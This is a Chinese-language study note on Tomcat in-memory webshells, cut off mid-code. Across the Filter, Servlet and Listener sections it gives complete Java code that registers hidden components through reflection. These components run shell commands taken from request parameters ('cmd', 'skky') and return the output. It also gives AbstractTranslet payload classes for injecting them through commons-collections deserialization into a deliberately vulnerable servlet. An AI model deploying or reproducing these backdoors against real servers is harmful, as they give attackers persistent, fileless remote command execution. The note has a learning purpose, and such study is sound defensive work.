Tomcat内存马学习笔记
Filter内存马
Filter初始化
Tomcat在启动的时候会对Filter进行初始化,它会根据web.xml和servlet注解进行初始。这里面操作涉及了StandardContext中三个重要的成员变量:
- filterDefs
- filterMaps
- filterConfigs
启动的时候,先会调用addFilterDef和addFilterMap来将filterDef和filterMap加入到filterDefs和filterMaps。

最后在调用加载Filter的filterStart()时,会根据filterDefs来对filterConfigs进行初始

WsServerContainer 是 Apache Tomcat 中实现 WebSocket 功能的一个类,它并不是通过在web.xml配置文件或通过注解直接初始化的。在初始化这个类的时候,会在StandardContext中再添加一个Tomcat WebSocket (JSR356) Filter,分析这个流程可以知道加载一个Filter的更多细节。
首先,它会调用ApplicationContext中的addFilter方法,为filterDefs添加一个filterDef。

同时注意一个新建的FilterDef对象要做初始化的地方有三个部分
- setFilterName
- setFilterClass
- setFilter

filterDefs是一个HashMap

addFilterDef的工作方式

addFilter最后会返回一个ApplicationFilterRegistration对象,接着程序会调用ApplicationFilterRegistration下的addMappingForUrlPatterns来添加filterMaps

与addFilter类似,addMappingForUrlPatterns中会初始化一个filterMap对象,然后将其添加到filterMaps中。初始一个filterMap对象会做三件事情:
- setFilterName
- setDispatcher:它是设置一个特定过滤器在何种情况下被调用
- REQUEST:过滤器将仅在处理客户端的直接请求时被调用。
- FORWARD:当请求被一个servlet通过
RequestDispatcher.forward()方法转发时,应用这个过滤器。 - INCLUDE:当请求被一个servlet通过
RequestDispatcher.include()方法包含时,应用这个过滤器。 - ERROR:当请求是为了处理错误而调度时,应用这个过滤器。
- ASYNC:当请求是在Servlet的异步模式下操作时,应用这个过滤器。
- addURLPattern

最后在filterStart()会对filterConfigs进行初始,主要根据filterDefs变量

Filter工作方式
Tomcat 的Pipline/Valve和Container:
StandardWrapperValve是处理特定Servlet请求的最后一个Valve,负责将请求传递给具体的Servlet实例。其处理请求的核心代码如下:

简而言之,如果一个请求是异步的(request.isAsyncDispatching()返回为true),那么就调用request.getAsyncContextInternal().doInternalDispatch()来处理,如果不是异步的就通过filterChain处理请求。SwallowOutput用于控制是否捕获和记录Servlet和过滤器执行期间写入到System.out和System.err的输出的设置。
可以看到,每次请求的 FilterChain 都是动态匹配获取和生成的。调用的是ApplicationFilterFactory的createFilterChain方法,其添加的流程如下:
- 在 context 中获取 filterMaps
- 循环filterMaps,匹配请求的url
- 如果匹配,则从filterConfigs中根据filterName选出对应的filterConfig加入filterChain

除了根据URL还会根据servlet name进行一次匹配

之后调用filterChain.doFilter方法

internalDoFilter会循环 filterChain 中的全部 filterConfig,通过 getFilter 方法获取 Filter 并执行 Filter 的 doFilter 方法。

动态注册Filter
实验准备
新建一个简单的servlet
package com.example;
import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
@WebServlet("/")
public class HelloServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<p>Hello World!</p>");
}
}
然后准备一个动态添加Filter的servlet,之后会在doGet方法中写我们动态注册Filter的代码,这里我们用它添加一个simpleFilter。准备的代码如下:
package com.memshell.tomcat;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
@WebServlet("/addFilter")
public class AddFilter extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 动态注册Filter的代码
}
}
// 需要注册的Filter
class simpleFilter implements Filter {
public void init(FilterConfig filterConfig) {
// Filter 初始化时调用
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
Runtime.getRuntime().exec("open -a Calculator");
System.out.println("Filter 被调用");
chain.doFilter(request, response);
}
public void destroy() {
// Filter 销毁时调用
}
}
根据上面的分析,动态注册一个Filter,就是修改ServletContext中的那三个成员变量:
- filterDefs
- filterMaps
- filterConfigs
有两种思路
- 参考
Tomcat WebSocket (JSR356) Filter的注册方式,依次调用ApplicationContext.addFilter、ApplicationFilterRegistration.addMappingForUrlPatterns、StandardContext.filterStart(),来修改filterDefs、filterMaps、filterConfigs。 - 直接用反射修改这三个变量。
继续之前需要了解的:ServletContext、applicationContext、StandardContext和ApplicationContextFacade。详细的内容可以参考:
这里说下个人浅薄的理解:
- ServletContext是servlet定义的一个接口、规范,它提供了与一个web应用运行相关的所有变量,把它想成一个web应用的上下文环境。
- ApplicationContext则是Tomcat对ServletContext接口的具体实现。
- ApplicationContextFacade则是对ApplicationContext的封装,之后通过
request.getServletContext()获取到的其实是ApplicationContextFacade,它的context属性才是ApplicationContext。 - StandardContext又被ApplicationContext封装,ApplicationContext对ServletContext的一部分实现,其实是交给StandardContext来做的。在代码层面上,ApplicationContext的context属性就是StandardContext。
ApplicationContextFacade = request.getServletContext()
L context -> ApplicationContext
L context -> StandardContext
方法一:调用函数修改
filterDefs、filterMaps和filterConfigs都与ApplicationContext和StandardContext密切相关。首先是获取ApplicationContext和StandardContext的代码
ServletContext servletContext = req.getServletContext();
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) f.get(servletContext);
Field af = applicationContext.getClass().getDeclaredField("context");
af.setAccessible(true);
StandardContext standardContext = (StandardContext) af.get(applicationContext);
然后是添加filterDefs,调用的是ApplicationContext.addFilter。addFilter有四种实现,我们调用的是addFilter(String filterName, Filter filter)。

另外,addFilter中的checkState会检查Tomcat的LifecycleState(与Lifecycle详见https://www.jianshu.com/p/2a9ffbd00724),所以调用之前修改standardContext的state属性。

具体代码如下:
// 实例化要添加的Filter
Filter sf = new simpleFilter();
// 修改standardContext的LifecycleState
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
// 调用addFilter
javax.servlet.FilterRegistration.Dynamic fr = applicationContext.addFilter(filterName, sf);
//状态恢复
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
执行addFilter之后同时得到了一个ApplicationFilterRegistration对象,然后就调用它的addMappingForUrlPatterns来添加filterMap。这里要注意的是,为了防止一些特殊情况(如shiro这种),我们添加的Filter要放到FilterChain的最前面。
通过前面的分析,FilterChain的顺序只与filterMaps有关。现在细看下这个filterMaps,它其实是一个ContextFilterMaps对象,我们新建的filterMap最后是添加到它里面的FilterMap[] array中的。

添加的方式则是通过ContextFilterMaps的add方法

除此之外,ContextFilterMaps还提供了一个addBefore方法,来把filterMap添加到数组array的头部

与它对应的是StandardContext.addFilterMapBefore,而在addMappingForUrlPatterns中要调用addFilterMapBefore来添加filterMap,则要传入参数isMatchAfter为false

依照逻辑写出添加filterMap的代码
fr.setAsyncSupported(false);
fr.addMappingForUrlPatterns(
java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),
false,
new String[]{"/*"}
);
最后,在Tomcat 8.5版本中,filterStart是一个public方法。所以直接调用即可,它就根据新的filterDefs来生成相应的filterConfigs
standardContext.filterStart();
最后完整的代码如下:
package com.memshell.tomcat;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
@WebServlet("/addFilter")
public class AddFilter extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String filterName = "skkyFilter";
ServletContext servletContext = req.getServletContext();
if (servletContext.getFilterRegistration(filterName) == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) f.get(servletContext);
Field af = applicationContext.getClass().getDeclaredField("context");
af.setAccessible(true);
StandardContext standardContext = (StandardContext) af.get(applicationContext);
Filter sf = new simpleFilter();
//修改状态,要不然添加不了
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
javax.servlet.FilterRegistration.Dynamic fr = applicationContext.addFilter(filterName, sf);
//状态恢复
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
fr.setAsyncSupported(false);
fr.addMappingForUrlPatterns(
java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),
false,
new String[]{"/*"}
);
standardContext.filterStart();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
class simpleFilter implements Filter {
public void init(FilterConfig filterConfig) {
// Filter 初始化时调用
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
Runtime.getRuntime().exec("open -a Calculator");
System.out.println("Filter 已添加");
chain.doFilter(request, response);
}
public void destroy() {
// Filter 销毁时调用
}
}
现在,启动Tomcat,访问/addFilter

新的Filter被成功添加

方法二:反射修改
su18师傅的代码写的非常清楚,就不过多赘述了。完整代码:
package com.memshell.tomcat;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
@WebServlet("/addFilterReflect")
public class AddFilterReflect extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String filterName = "skkyFilter";
// 从 request 中获取 servletContext
ServletContext servletContext = req.getServletContext();
// 如果已有此 filterName 的 Filter,则不再重复添加
if (servletContext.getFilterRegistration(filterName) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
// 创建自定义 Filter 对象
Filter filterClass = new simpleFilter();
// 创建 FilterDef 对象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilter(filterClass);
filterDef.setFilterClass(filterClass.getClass().getName());
// 创建 ApplicationFilterConfig 对象
Constructor<?>[] constructor = ApplicationFilterConfig.class.getDeclaredConstructors();
constructor[0].setAccessible(true);
ApplicationFilterConfig config = (ApplicationFilterConfig) constructor[0].newInstance(o, filterDef);
// 创建 FilterMap 对象
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 反射将 ApplicationFilterConfig 放入 StandardContext 中的 filterConfigs 中
Field filterConfigsField = o.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigsField.get(o);
filterConfigs.put(filterName, config);
// 反射将 FilterMap 放入 StandardContext 中的 filterMaps 中
Field filterMapField = o.getClass().getDeclaredField("filterMaps");
filterMapField.setAccessible(true);
Object object = filterMapField.get(o);
Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
// addBefore 将 filter 放在第一位
Method m = cl.getDeclaredMethod("addBefore", FilterMap.class);
// Method m = cl.getDeclaredMethod("add", FilterMap.class);
m.setAccessible(true);
m.invoke(object, filterMap);
PrintWriter writer = resp.getWriter();
writer.println("tomcat filter added");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用
上面我们是直接在Tomcat加了一个Servlet来动态添加Filter,下面我们在一个有commons-collections:commons-collections:3.2.1的服务端中,利用反序列化任意代码执行打入Filter内存马。
漏洞Servlet代码如下:
package com.test;
import org.apache.commons.codec.binary.Base64;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
@WebServlet("/test")
public class demoTest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<p>Deserialized Test Page</p>");
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String inputBase64 = request.getParameter("input");
if (inputBase64 == null || inputBase64.isEmpty()) {
out.println("No input provided");
return;
}
try {
Object deserializedObject = deserializeFromBase64(inputBase64);
out.println("Deserialized object: " + deserializedObject.toString());
} catch (ClassNotFoundException e) {
out.println("Error during deserialization: " + e.getMessage());
}
}
public static Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
byte[] data = Base64.decodeBase64(base64String);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
}
编译命令:
javac -cp "/xxx/xxx/xxx/apache-tomcat-8.5.96/lib/*" tomcatServletExploit.java
在上面的动态注册Filter代码中,最关键的就是ServletContext的获取,而获得ServletContext一个思路是拿到当前请求HttpServletRequest对象。这里参考的是:Tomcat中一种半通用回显方法。
文章提到了一种通过初始化lastServicedRequest来获取当前请求的HttpServletRequest对象的方法。在internalDoFilter中,如果ApplicationDispatcher.WRAP_SAME_OBJECT为true的话,那么在调用servlet.service(request, response)处理请求之前,就会用lastServicedRequest和lastServicedResponse来对当前的request和response保存。

但是Tomcat启动时ApplicationDispatcher.WRAP_SAME_OBJECT、lastServicedRequest和lastServicedResponse被初始为false、null和null,所以思路就是:第一次请求用反射修改这三个变量,第二次请求从lastServicedRequest和lastServicedResponse获取当前请求的request和response。
另外,这里还有一个反射修改final修饰的属性值的技巧,参见:https://www.jianshu.com/p/2d490b0155ad。获取到request之后,就可以用前面的方法注册我们的Filter了。参考了文章基于tomcat的内存 Webshell 无文件攻击技术的写法,完整代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;
public class tomcatFilterExploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements Filter {
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else {
ServletRequest responseFacade = lastServicedRequest.get();
addFilter((HttpServletRequest) responseFacade);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public void init(FilterConfig filterConfig) {
// Filter 初始化时调用
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = request.getParameter("skky")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return;
}
chain.doFilter(request, response);
}
public void destroy() {
// Filter 销毁时调用
}
static void addFilter(HttpServletRequest req) {
try {
String filterName = "skkyFilter";
ServletContext servletContext = req.getServletContext();
if (servletContext.getFilterRegistration(filterName) == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) f.get(servletContext);
Field af = applicationContext.getClass().getDeclaredField("context");
af.setAccessible(true);
StandardContext standardContext = (StandardContext) af.get(applicationContext);
Filter sf = new tomcatFilterExploit();
//修改状态,要不然添加不了
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
javax.servlet.FilterRegistration.Dynamic fr = applicationContext.addFilter(filterName, sf);
//状态恢复
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
fr.setAsyncSupported(false);
fr.addMappingForUrlPatterns(
java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),
false,
new String[]{"/*"}
);
standardContext.filterStart();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后就可以用CC链3来打了。连续发送两次打入Filter

Filter成功被打入

Servlet内存马
回顾一下知识点——深入理解Tomcat(八)Container。一个servlet在Tomcat的容器中就是一个Wrapper,而Wrapper又是被Context包含的。
添加Servlet的方法相对比较简单:
- 新建一个Wrapper对象
- 通过
StandardContext#addChild把它加到 StandardContext 的 children 当中 - 通过
StandardContext#addServletMapping将新建的 Wrapper 对象,和访问的 url 进行绑定。
动态添加Servlet的Servlet代码如下,参考su18-AddTomcatServlet.java
package com.memshell.tomcat.addServlet;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.Servlet;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/addServlet")
public class AddServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String servletName = "skkyServlet";
// 从 request 中获取 servletContext
ServletContext servletContext = req.getServletContext();
// 如果已有此 servletName 的 Servlet,则不再重复添加
if (servletContext.getServletRegistration(servletName) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
// 创建自定义 Servlet
Servlet evilServlet = new EvilServlet();
// 使用 Wrapper 封装 Servlet
Wrapper wrapper = o.createWrapper();
wrapper.setName(servletName);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(evilServlet);
wrapper.setServletClass(evilServlet.getClass().getName());
// 向 children 中添加 wrapper
o.addChild(wrapper);
// 添加 servletMappings
o.addServletMapping("/skkyblu3", servletName);
PrintWriter writer = resp.getWriter();
writer.println("tomcat servlet added");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
class EvilServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = resp.getWriter();
out.write(output);
out.flush();
}
}
利用
利用场景和filter一样,这里实现Servlet的接口来写。代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
public class tomcatServletExploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements Servlet {
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else {
ServletRequest requestFacade = lastServicedRequest.get();
addServlet((HttpServletRequest) requestFacade);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
static void addServlet(HttpServletRequest req) {
try {
String servletName = "skkyServlet";
// 从 request 中获取 servletContext
ServletContext servletContext = req.getServletContext();
// 如果已有此 servletName 的 Servlet,则不再重复添加
if (servletContext.getServletRegistration(servletName) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
// 创建自定义 Servlet
Servlet evilServlet = new tomcatServletExploit();
// 使用 Wrapper 封装 Servlet
Wrapper wrapper = o.createWrapper();
wrapper.setName(servletName);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(evilServlet);
wrapper.setServletClass(evilServlet.getClass().getName());
// 向 children 中添加 wrapper
o.addChild(wrapper);
// 添加 servletMappings
o.addServletMapping("/skkyblu3", servletName);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
访问两次写入Servlet

成功写入Servlet

Listener内存马
Tomcat 中 EventListeners 存放在 StandardContext 的 applicationEventListenersList 属性中,同样可以使用 StandardContext 的相关 add 方法添加。

这里添加一个RequestListener,在requestDestroyed里面执行命令
package com.memshell.tomcat.addRequestListener;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/addRequestListener")
public class AddRequestListener extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
ServletContext servletContext = req.getServletContext();
StandardContext o = null;
try {
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
// 添加监听器
o.addApplicationEventListener(new EvilRequestListener());
resp.getWriter().println("tomcat listener added");
} catch (Exception e) {
e.printStackTrace();
}
}
}
class EvilRequestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 当请求对象销毁时触发
try {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (req.getParameter("cmd") != null) {
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
request.getResponse().getWriter().write(output);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
// 当请求对象创建时触发
}
}
利用
和之前一样,利用ServletRequestListener接口来做。代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
public class tomcatRequestListenerExploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements ServletRequestListener{
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
